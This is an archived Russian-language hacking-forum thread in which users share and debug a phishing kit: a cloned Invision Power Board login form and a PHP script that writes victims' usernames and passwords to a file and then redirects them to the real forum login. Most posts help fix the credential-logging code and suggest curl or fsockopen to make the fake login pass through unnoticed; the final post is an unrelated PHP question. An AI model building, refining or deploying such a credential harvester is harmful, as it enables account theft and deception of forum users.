HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #8671  
Старый 10.02.2009, 23:29
Ershik
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме:
1325167

Репутация: 100
По умолчанию

Предлагаю не телепатить.
Пароли сохраняет.
Редирект производит.
Авторизация на настоящем форуме отсутствует.
Код авторизации html
PHP код:
<form action="http://127.0.0.1/forum/test.php" method="post" name="LOGIN" onsubmit="return ValidateForm()">
        <
div class="borderwrap">
        <
div class="maintitle"><img src='style_images/1/nav_m.gif' border='0'  alt='>' width='8' height='8' />&nbsp;Log In</div>
        <
div class='row2'>
            <
div class="formsubtitle">Please enter your details below to log in</div>
            <
div class="errorwrap" style='margin-bottom:0px;padding-bottom:0px'>
                <
h4>Attention!</h4>
                <
p>You must already have registered for an account before you can log in.<br />If you do not have an accountyou may register by clicking the 'register' link near the top of the screen</p>
                <
p><b>I've forgotten my password! <a href="http://127.0.0.1/forum/index.php?act=Reg&CODE=10">Click here!</a></b></p>
            </div>
        </div>
        <table class='
ipbtable' cellspacing="0">
            <tr>
                <td width="60%" valign="top" class='
row2'>
                    <fieldset>
                        <legend><b>Log In</b></legend>
                        <table class='
ipbtable' cellspacing="1">
                            <tr>

<td width="50%"><b>Enter your user name</b></td>
                                <td width="50%"><input type="text" size="25" maxlength="64" name="UserName" /></td>

                            </tr>
                            <tr>
                                <td width="50%"><b>Enter your password</b></td>
                                <td width="50%"><input type="password" size="25" name="PassWord" /></td>
                            </tr>
                        </table>
                    </fieldset>
                </td>
                <td width="40%" valign="top" class='
row2'>
                    <fieldset>
                        <legend><b>Options</b></legend>
                        <table class='
ipbtable' cellspacing="1">
                            <tr>
                                <td width="10%"><input class='
checkbox' type="checkbox" name="CookieDate" value="1" checked="checked" /></td>
                                <td width="90%"><b>Remember me?</b><br /><span class="desc">This is not recommended for shared computers</span></td>
                            </tr>

<tr>
                                <td width="10%"><input class='
checkbox' type="checkbox" name="Privacy" value="1" /></td>
                                <td width="90%"><b>Log in as invisible</b><br /><span class="desc">Don'
t add me to the active users list</span></td>
                            </
tr>

                        </
table>
                    </
fieldset>
                </
td>
            </
tr>
            <
tr>
                <
td class="formbuttonrow" colspan="2"><input class="button" type="submit" name="submit" value="Log me in" /></td>
            </
tr>
            <
tr>
                <
td class="catend" colspan="2"><!-- no content --></td>
            </
tr>
        </
table>
    </
div>
</
form><!--TASK--><img src='http://127.0.0.1/upload/index.php?act=task' border='0' height='1' width='1' alt='' /> 
Код сохранения паролей
PHP код:
<?PHP 
$Login 
$_POST['UserName']; 
$Pass $_POST['PassWord']; 

$log fopen("base.php","a+"); 
fwrite($log,"\n$Login:$Pass \n"); 
fclose($log); 
?>
<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://127.0.0.1/forum/index.php?act=Login&CODE=01'></head></html>
kevmen
Может,
PHP код:
header("Location: http://127.0.0.1/forum/index.php?act=Login&CODE=01"); 
Так тоже пробовал.

Последний раз редактировалось Ershik; 10.02.2009 в 23:34..
 
Ответить с цитированием

  #8672  
Старый 10.02.2009, 23:38
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Ershik, он не находит переменных.
PHP код:
<?PHP  
if (isset($_POST['UserName']) and isset($_POST['PassWord'])) { // проверка на существование переменных
$Login $_POST['UserName'];  
$Pass $_POST['PassWord'];  

$log fopen("base.php","a+");  
fwrite($log,"\n$Login:$Pass \n");  
fclose($log);  

echo 
"<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://site.ru/forum/index.php?act=Login&CODE=01'></head></html>";}  
?>
 
Ответить с цитированием

  #8673  
Старый 10.02.2009, 23:51
Ershik
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме:
1325167

Репутация: 100
По умолчанию

Ошибка исчезла, но авторизация не происходит.
Думаю, есть еще какая-то проблема с переменными.
Хотя если в исходнике посмотреть, все абсолютно верно.
 
Ответить с цитированием

  #8674  
Старый 10.02.2009, 23:53
kevmen
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
Провел на форуме:
397889

Репутация: 60
Отправить сообщение для kevmen с помощью ICQ
По умолчанию

Цитата:
Сообщение от mailbrush  
Ershik, он не находит переменных.
PHP код:
<?PHP  
if (isset($_POST['UserName']) and isset($_POST['PassWord'])) { // проверка на существование переменных
$Login $_POST['UserName'];  
$Pass $_POST['PassWord'];  

$log fopen("base.php","a+");  
fwrite($log,"\n$Login:$Pass \n");  
fclose($log);  

echo 
"<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://site.ru/forum/index.php?act=Login&CODE=01'></head></html>";}  
?>

Переменные будут существовать в любом случае,раз они заданы
 
Ответить с цитированием

  #8675  
Старый 10.02.2009, 23:58
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Цитата:
раз они заданы
Если в поле логина и пасса написать что-то и отсабмитить - переменные будут заданы, а если ты просто зашел на сайт, они пустые, т.к. там ничего не написано.

Цитата:
авторизация не происходит.
Конечно не происходит, т.к. у тебя экшн идёт на страницу с записью логина и пасса, а уже потом с пустыми переменными переходит на страницу логина. Юзай fsockopen или curl
 
Ответить с цитированием

  #8676  
Старый 11.02.2009, 00:00
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

вот вы мутите, а не проще весь код (включая логирование паролей) в один код внести? Нафига тут вообще form action???
 
Ответить с цитированием

  #8677  
Старый 11.02.2009, 00:00
kevmen
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
Провел на форуме:
397889

Репутация: 60
Отправить сообщение для kevmen с помощью ICQ
По умолчанию

Цитата:
они пустые, т.к. там ничего не написано.
если отправить путсые данные и в этом случае они будут заданы
 
Ответить с цитированием

  #8678  
Старый 11.02.2009, 00:04
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Цитата:
если отправить путсые данные и в этом случае они будут заданы
Я не говорил что отправить, я говорил что если тупо зайти на сайт. Ошибка возникала потому что переменные не заданы. Если отсабмитить, они будут заданы
 
Ответить с цитированием

  #8679  
Старый 11.02.2009, 00:16
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Цитата:
Сообщение от mailbrush  
Я не говорил что отправить, я говорил что если тупо зайти на сайт. Ошибка возникала потому что переменные не заданы. Если отсабмитить, они будут заданы
Что тупить,не прощели использовать empty?
 
Ответить с цитированием

  #8680  
Старый 11.02.2009, 03:23
OnArs
Участник форума
Регистрация: 01.08.2008
Сообщений: 239
Провел на форуме:
448388

Репутация: 31
По умолчанию

Всем привет!

Есть строка вида:
слово1,слово2,слово3

Как заполнить массив этими словами?
Помнится что в php есть специальная функция - какая именно запамятовал

Заранее благодарен!
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ